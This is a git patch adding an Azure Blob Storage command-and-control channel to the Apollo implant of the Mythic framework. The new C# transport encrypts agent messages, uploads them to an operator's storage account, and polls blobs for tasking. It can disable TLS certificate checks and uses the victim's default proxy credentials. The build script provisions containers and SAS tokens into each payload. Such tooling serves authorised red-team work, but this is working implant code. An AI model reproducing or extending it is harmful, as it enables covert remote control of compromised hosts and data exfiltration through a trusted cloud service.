From 03020e3c8710793d5ed15e2946bc9997abc6df3a Mon Sep 17 00:00:00 2001 From: Adam Chester Date: Fri, 27 Feb 2026 06:49:26 -0800 Subject: [PATCH] Added support for Azure Blob Storage Profile for supporting Azure Blob Storage (https://github.com/senderend/azureBlob) --- .../apollo/apollo/agent_code/Apollo.sln | 24 +- .../apollo/agent_code/Apollo/Apollo.csproj | 6 +- .../apollo/apollo/agent_code/Apollo/Config.cs | 131 ++++-- .../AzureBlobProfile/AzureBlobProfile.cs | 410 ++++++++++++++++++ .../AzureBlobProfile/AzureBlobProfile.csproj | 20 + .../Properties/AssemblyInfo.cs | 35 ++ .../apollo/mythic/agent_functions/builder.py | 59 ++- 7 files changed, 633 insertions(+), 52 deletions(-) create mode 100644 Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.cs create mode 100644 Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.csproj create mode 100644 Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/Properties/AssemblyInfo.cs diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo.sln b/Payload_Type/apollo/apollo/agent_code/Apollo.sln index 11183882..eb4ae138 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo.sln +++ b/Payload_Type/apollo/apollo/agent_code/Apollo.sln @@ -48,8 +48,10 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KerberosTickets", "Kerberos EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE.Standalone", "ExecutePE.Standalone\ExecutePE.Standalone.csproj", "{8F530743-F632-41FC-BBEA-B6727542A719}" EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}" -EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "AzureBlobProfile", "AzureBlobProfile\AzureBlobProfile.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -318,9 +320,21 @@ Global {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.Build.0 = Debug|Win32 {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|Any CPU.ActiveCfg = Debug|Win32 {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x64.ActiveCfg = Release|x64 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32 - {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32 - EndGlobalSection + {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32 + {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.Build.0 = Debug|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.ActiveCfg = Debug|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.Build.0 = Debug|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.ActiveCfg = Release|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.Build.0 = Release|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.ActiveCfg = Release|x86 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.Build.0 = Release|x86 + EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj index f3d1a8a7..2f2854e3 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj @@ -28,9 +28,9 @@ - - - + + + diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index 5f3c8ef0..c1a8762c 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -2,12 +2,13 @@ //#define LOCAL_BUILD -#if LOCAL_BUILD -//#define HTTP -//#define WEBSOCKET -//#define TCP -//#define SMB -#endif +#if LOCAL_BUILD +//#define HTTP +//#define WEBSOCKET +//#define TCP +//#define SMB +//#define AZURE_BLOB +#endif #if HTTP using HttpTransport; @@ -25,10 +26,13 @@ #if SMB using NamedPipeTransport; #endif -#if TCP -using TcpTransport; -#endif -namespace Apollo +#if TCP +using TcpTransport; +#endif +#if AZURE_BLOB +using AzureBlobTransport; +#endif +namespace Apollo { public static class Config { @@ -128,26 +132,65 @@ public static class Config } } }, -#elif TCP - { "tcp", new C2ProfileData() - { - TC2Profile = typeof(TcpProfile), - TCryptography = typeof(PSKCryptographyProvider), - TSerializer = typeof(EncryptedJsonSerializer), - Parameters = new Dictionary() - { -#if LOCAL_BUILD - { "port", "40000" }, - { "encrypted_exchange_check", "true" }, -#else - { "port", "tcp_port_here" }, - { "encrypted_exchange_check", "tcp_encrypted_exchange_check_here" }, -#endif - } - } - } -#endif - }; +#elif TCP + { "tcp", new C2ProfileData() + { + TC2Profile = typeof(TcpProfile), + TCryptography = typeof(PSKCryptographyProvider), + TSerializer = typeof(EncryptedJsonSerializer), + Parameters = new Dictionary() + { +#if LOCAL_BUILD + { "port", "40000" }, + { "encrypted_exchange_check", "true" }, +#else + { "port", "tcp_port_here" }, + { "encrypted_exchange_check", "tcp_encrypted_exchange_check_here" }, +#endif + } + } + } +#endif +#if AZURE_BLOB + { "azure_blob", new C2ProfileData() + { + TC2Profile = typeof(AzureBlobProfile), + TCryptography = typeof(PSKCryptographyProvider), + TSerializer = typeof(EncryptedJsonSerializer), + Parameters = new Dictionary() + { +#if LOCAL_BUILD + { "blob_endpoint", "https://yourstorageaccount.blob.core.windows.net" }, + { "container_name", "agent-test12345ab" }, + { "sas_token", "your_test_sas_token_here" }, + { "callback_interval", "5" }, + { "callback_jitter", "10" }, + { "encrypted_exchange_check", "T" }, + { "killdate", "-1" }, + { "enable_certificate_check", "true" }, + { "proxy_host", "" }, + { "proxy_port", "" }, + { "proxy_user", "" }, + { "proxy_pass", "" }, +#else + { "blob_endpoint", "azure_blob_blob_endpoint_here" }, + { "container_name", "azure_blob_container_name_here" }, + { "sas_token", "azure_blob_sas_token_here" }, + { "callback_interval", "azure_blob_callback_interval_here" }, + { "callback_jitter", "azure_blob_callback_jitter_here" }, + { "encrypted_exchange_check", "azure_blob_encrypted_exchange_check_here" }, + { "killdate", "azure_blob_killdate_here" }, + { "enable_certificate_check", "azure_blob_enable_certificate_check_here" }, + { "proxy_host", "azure_blob_proxy_host_here" }, + { "proxy_port", "azure_blob_proxy_port_here" }, + { "proxy_user", "azure_blob_proxy_user_here" }, + { "proxy_pass", "azure_blob_proxy_pass_here" }, +#endif + } + } + }, +#endif + }; public static Dictionary IngressProfiles = new Dictionary(); @@ -158,18 +201,22 @@ public static class Config public static string StagingRSAPrivateKey = "Hl3IzCYy3io5QU70xjpYyCNrOmA84aWMZLkCwumrAFM="; #elif SMB public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc="; -#elif TCP - public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg="; -#endif -#if HTTP - public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204"; -#elif WEBSOCKET - public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2"; -#elif SMB - public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3"; -#elif TCP - public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544"; -#endif +#elif TCP + public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg="; +#elif AZURE_BLOB + public static string StagingRSAPrivateKey = "R3BLdG9OZXdBenVyZUJsb2JQcm9maWxlS2V5MTIzNA=="; +#endif +#if HTTP + public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204"; +#elif WEBSOCKET + public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2"; +#elif SMB + public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3"; +#elif TCP + public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544"; +#elif AZURE_BLOB + public static string PayloadUUID = "d1eefaf1-99c7-1901-ded0-3fac2312abdc"; +#endif #else // TODO: Make the AES key a config option specific to each profile public static string StagingRSAPrivateKey = "AESPSK_here"; diff --git a/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.cs b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.cs new file mode 100644 index 00000000..85c2c522 --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.cs @@ -0,0 +1,410 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; +using ApolloInterop.Classes; +using ApolloInterop.Interfaces; +using ApolloInterop.Structs.MythicStructs; +using ApolloInterop.Types.Delegates; +using System.Net; +using ApolloInterop.Enums.ApolloEnums; + +namespace AzureBlobTransport +{ + public class AzureBlobProfile : C2Profile, IC2Profile + { + // How many bytes to read per iteration of downloading a blob + const int HTTP_READ_BLOCK_LENGTH = 11000; + + // TODO: This ideally needs to come from the C2 Profile so we can sync with the server timeout + const int RETRY_DELAY = 5000; + const int MAX_RETRY_ATTEMPTS = 5; + + private int CallbackInterval; + private double CallbackJitter; + private string BlobEndpoint; + private string ContainerName; + private string SasToken; + private bool EncryptedExchangeCheck; + private string KillDate; + private bool _uuidNegotiated = false; + private string ProxyHost; + private int ProxyPort; + private string ProxyUser; + private string ProxyPass; + private string ProxyAddress; + private RSAKeyGenerator rsa = null; + + // Microsoft Azure should always pass TLS cert check (unless something is in the middle) + private bool EnableTLSCertCheck = true; + + // Maximum time to wait for a single response blob before giving up + private const int RESPONSE_TIMEOUT_MS = 300000; // 5 minutes + + private string ParseURLAndPort(string host, int port) + { + string final_url = ""; + int last_slash = -1; + if (port == 443 && host.StartsWith("https://")) + { + final_url = host; + } + else if (port == 80 && host.StartsWith("http://")) + { + final_url = host; + } + else + { + last_slash = host.Substring(port == 443? 8 : 7).IndexOf("/"); + if (last_slash == -1) + { + final_url = string.Format("{0}:{1}", host, port); + } + else + { + last_slash += 8; + final_url = host.Substring(0, last_slash) + $":{port}" + host.Substring(last_slash); + } + } + return final_url; + } + + public AzureBlobProfile(Dictionary data, ISerializer serializer, IAgent agent) + : base(data, serializer, agent) + { + CallbackInterval = int.Parse(data["callback_interval"]); + CallbackJitter = double.Parse(data["callback_jitter"]); + BlobEndpoint = data["blob_endpoint"]; + ContainerName = data["container_name"]; + SasToken = data["sas_token"]; + EncryptedExchangeCheck = data["encrypted_exchange_check"] == "T"; + KillDate = data["killdate"]; + if (data.ContainsKey("enable_certificate_check") && data["enable_certificate_check"] == "") + { + EnableTLSCertCheck = false; + } + else + { + if (data.ContainsKey("enable_certificate_check") && + (data["enable_certificate_check"][0] == 'T' || data["enable_certificate_check"][0] == 't')) + { + EnableTLSCertCheck = true; + } + else + { + EnableTLSCertCheck = false; + } + } + ProxyHost = data["proxy_host"]; + if (data["proxy_port"].Length > 0) + { + ProxyPort = int.Parse(data["proxy_port"]); + if (ProxyHost.Length > 0) + { + ProxyAddress = this.ParseURLAndPort(ProxyHost, ProxyPort); + } + } + ProxyUser = data["proxy_user"]; + ProxyPass = data["proxy_pass"]; + + rsa = agent.GetApi().NewRSAKeyPair(4096); + + // Disable certificate validation on web requests + if (EnableTLSCertCheck == false) + { + ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; + ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; + } + + Agent.SetSleep(CallbackInterval, CallbackJitter); + } + + /// + /// Construct the full blob URL with SAS token for a given blob path. + /// + private string GetBlobUrl(string blobPath) + { + return string.Format("{0}/{1}/{2}?{3}", BlobEndpoint, ContainerName, blobPath, SasToken); + } + + /// + /// Creates a new instance of a HttpWebRequest with appropriate proxy settings + /// + /// + /// + private HttpWebRequest CreateConfiguredWebRequest(string url) + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + if (!string.IsNullOrEmpty(ProxyHost) && + !string.IsNullOrEmpty(ProxyUser) && + !string.IsNullOrEmpty(ProxyPass)) + { + request.Proxy = (IWebProxy)new WebProxy() + { + Address = new Uri(ProxyAddress), + Credentials = new NetworkCredential(ProxyUser, ProxyPass), + UseDefaultCredentials = false, + BypassProxyOnLocal = false + }; + } + else + { + // Use Default Proxy and Cached Credentials for Internet Access + request.Proxy = WebRequest.GetSystemWebProxy(); + request.Proxy.Credentials = CredentialCache.DefaultCredentials; + } + + request.Timeout = RESPONSE_TIMEOUT_MS; + + return request; + } + + /// + /// Upload data to a blob using HTTP PUT (Azure Blob REST API). + /// + private bool PutBlob(string blobPath, byte[] data) + { + string url = GetBlobUrl(blobPath); + try + { + HttpWebRequest request = CreateConfiguredWebRequest(url); + request.Method = "PUT"; + request.ContentType = "application/octet-stream"; + request.ContentLength = data.Length; + request.Headers.Add("x-ms-blob-type", "BlockBlob"); + + using (var stream = request.GetRequestStream()) + { + stream.Write(data, 0, data.Length); + } + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + return response.StatusCode == HttpStatusCode.Created || + response.StatusCode == HttpStatusCode.OK; + } + } + catch (Exception ex) + { + throw new Exception(String.Format("Error occured uploading blob: {0}", ex.Message)); + } + } + + /// + /// Download blob data using HTTP GET. Throws exception if the blob does not exist (404). + /// + private byte[] GetBlob(string blobPath) + { + string url = GetBlobUrl(blobPath); + try + { + HttpWebRequest request = CreateConfiguredWebRequest(url); + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (var stream = response.GetResponseStream()) + { + // Read all bytes from the response stream + using (var memStream = new System.IO.MemoryStream()) + { + byte[] buffer = new byte[HTTP_READ_BLOCK_LENGTH]; + int bytesRead; + while ((bytesRead = stream.Read(buffer, 0, HTTP_READ_BLOCK_LENGTH)) > 0) + { + memStream.Write(buffer, 0, bytesRead); + } + return memStream.ToArray(); + } + } + } + } + + catch (WebException ex) + { + if (ex.Response is HttpWebResponse httpResp && httpResp.StatusCode == HttpStatusCode.NotFound) + { + throw new Exception("Blob was not found"); // Blob does not exist yet + } + + throw new Exception(String.Format("Exception occured downloading blob: {0}", ex.Message)); + } + catch (Exception) + { + throw; + } + } + + /// + /// Delete a blob using HTTP DELETE. + /// + private bool DeleteBlob(string blobPath) + { + string url = GetBlobUrl(blobPath); + try + { + HttpWebRequest request = CreateConfiguredWebRequest(url); + + request.Method = "DELETE"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + return response.StatusCode == HttpStatusCode.Accepted || + response.StatusCode == HttpStatusCode.OK; + } + } + catch (Exception ex) + { + throw new Exception(String.Format("Exception occured deleting blob: {0}", ex.Message)); + } + } + + /// + /// Core send-and-receive operation via Azure Blob Storage. + /// + public bool SendRecv(T message, OnResponse onResponse) + { + if (message == null) { throw new ArgumentNullException("message"); } + + // Generate a unique message ID for request/response correlation + string messageId = Guid.NewGuid().ToString(); + + // Serialize the message (EncryptedJsonSerializer produces base64(uuid + AES(json))) + string serialized = Serializer.Serialize(message); + byte[] payload = Encoding.UTF8.GetBytes(serialized); + + try + { + // PUT to ats/{messageId}.blob + if (!PutBlob(string.Format("ats/{0}.blob", messageId), payload)) + { + return false; + } + } + catch (Exception) + { + return false; + } + + // Poll for the response at sta/{messageId}.blob + string staBlobPath = string.Format("sta/{0}.blob", messageId); + byte[] responseData = null; + + // Repeat (there is a delay between uploading and then the download being available + for (int i = 0; i < MAX_RETRY_ATTEMPTS; i++) + { + // Not ideal, but the Azure Blob profile doesn't currently expose the poll rate + Thread.Sleep(RETRY_DELAY); + + try + { + responseData = GetBlob(staBlobPath); + } + catch (Exception) + { + continue; + } + + break; + + } + + if (responseData == null || responseData.Length == 0) + { + return false; + } + + // Deserialize the response + // The C2 server returns the raw Mythic response (base64(uuid + AES(json))) + string responseString = Encoding.UTF8.GetString(responseData); + try + { + TResult result = Serializer.Deserialize(responseString); + onResponse(result); + + } + catch (Exception) + { + return false; + } + + // Clean up the response blob + // This is best effort, if it fails, we still return success because we have + // a valid deserialized response already + try + { + DeleteBlob(staBlobPath); + } + catch (Exception) + { + // Do nothing, it's best effort + } + + return true; + } + + public void Start() + { + while (Agent.IsAlive()) + { + GetTasking(resp => Agent.GetTaskManager().ProcessMessageResponse(resp)); + Agent.Sleep(); + } + } + + private bool GetTasking(OnResponse onResp) + { + return Agent.GetTaskManager().CreateTaskingMessage(msg => SendRecv(msg, onResp)); + } + + public bool IsOneWay() => false; + + public bool Send(T message) => throw new NotImplementedException("AzureBlobProfile does not support Send only."); + public bool Recv(MessageType mt, OnResponse onResp) => throw new NotImplementedException("AzureBlobProfile does not support Recv only."); + + public bool IsConnected() + { + return Connected; + } + + public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) + { + if (EncryptedExchangeCheck && !_uuidNegotiated) + { + EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() + { + Action = "staging_rsa", + PublicKey = this.rsa.ExportPublicKey(), + SessionID = this.rsa.SessionId + }; + + if (!SendRecv(handshake1, delegate (EKEHandshakeResponse respHandshake) + { + byte[] tmpKey = this.rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); + ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); + ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); + Agent.SetUUID(respHandshake.UUID); + return true; + })) + { + return false; + } + } + + return SendRecv(checkinMsg, delegate (MessageResponse mResp) + { + Connected = true; + if (!_uuidNegotiated) + { + ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); + Agent.SetUUID(mResp.ID); + _uuidNegotiated = true; + } + return onResp(mResp); + }); + } + } +} + diff --git a/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.csproj b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.csproj new file mode 100644 index 00000000..2ca5e04c --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/AzureBlobProfile.csproj @@ -0,0 +1,20 @@ + + + net451 + Library + 12 + enable + false + AnyCPU;x64;x86 + + + + + + + + + + + + diff --git a/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/Properties/AssemblyInfo.cs new file mode 100644 index 00000000..8eb2ab5d --- /dev/null +++ b/Payload_Type/apollo/apollo/agent_code/AzureBlobProfile/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("AzureBlobProfile")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("AzureBlobProfile")] +[assembly: AssemblyCopyright("Copyright 2025")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("A1B2C3D4-E5F6-7890-ABCD-EF1234567890")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 5300785d..76054a57 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -90,9 +90,9 @@ class Apollo(PayloadType): default_value=False, description="Create a DEBUG version.", ui_position=2, - ) + ), ] - c2_profiles = ["http", "smb", "tcp", "websocket"] + c2_profiles = ["http", "smb", "tcp", "websocket", "azure_blob"] agent_path = pathlib.Path(".") / "apollo" / "mythic" agent_code_path = pathlib.Path(".") / "apollo" / "agent_code" agent_icon_path = agent_path / "agent_functions" / "apollo.svg" @@ -170,6 +170,60 @@ async def build(self) -> BuildResponse: extra_variables = {**extra_variables, **val} else: special_files_map["Config.cs"][prefixed_key] = json.dumps(val) + + # Azure Blob: provision container and get SAS token via RPC + if profile["name"] == "azure_blob": + params = c2.get_parameters_dict() + + + # Proxy params hardcoded at the minute as the profile doesn't support proxy + # Once the profile is updated, this should "magically" work. + proxy_host = params.get("proxy_host", "") + proxy_port = str(params.get("proxy_port", 0)) + proxy_user = params.get("proxy_user", "") + proxy_pass = params.get("proxy_pass", "") + enable_certificate_check = params.get("enable_certificate_check", "True") + + storage_account = params.get("storage_account", "") + account_key_param = params.get("account_key", "") + if isinstance(account_key_param, dict): + account_key = account_key_param.get("enc_key", "") or account_key_param.get("value", "") + else: + account_key = str(account_key_param) if account_key_param else "" + + if not storage_account or not account_key: + resp.build_stderr = "Missing storage_account or account_key" + resp.set_status(BuildStatus.Error) + return resp + + killdate = params.get("killdate", "") + config_data = await SendMythicRPCOtherServiceRPC(MythicRPCOtherServiceRPCMessage( + ServiceName="azure_blob", + ServiceRPCFunction="generate_config", + ServiceRPCFunctionArguments={ + "killdate": killdate, + "storage_account": storage_account, + "account_key": account_key, + "payload_uuid": self.uuid, + } + )) + if not config_data.Success: + build_message = f"Azure Blob container provisioning failed :( : {config_data.Error}" + resp.set_status(BuildStatus.Error) + resp.set_build_message(build_message) + return resp + # Stamp RPC results into Config.cs (these are not normal C2 profile parameters) + special_files_map["Config.cs"]["azure_blob_blob_endpoint"] = config_data.Result["blob_endpoint"] + special_files_map["Config.cs"]["azure_blob_container_name"] = config_data.Result["container_name"] + special_files_map["Config.cs"]["azure_blob_sas_token"] = config_data.Result["sas_token"] + special_files_map["Config.cs"]["azure_blob_proxy_host"] = proxy_host + special_files_map["Config.cs"]["azure_blob_proxy_port"] = proxy_port + special_files_map["Config.cs"]["azure_blob_proxy_user"] = proxy_user + special_files_map["Config.cs"]["azure_blob_proxy_pass"] = proxy_pass + special_files_map["Config.cs"]["enable_certificate_check"] = enable_certificate_check + stdout_err += f"\n[azure_blob] Container: {config_data.Result['container_name']}" + stdout_err += f"\n[azure_blob] Endpoint: {config_data.Result['blob_endpoint']}" + try: # make a temp directory for it to live agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) @@ -472,3 +526,4 @@ def adjust_file_name(filename, shellcode_format, output_type, adjust_filename): return original_filename + ".txt" else: return filename +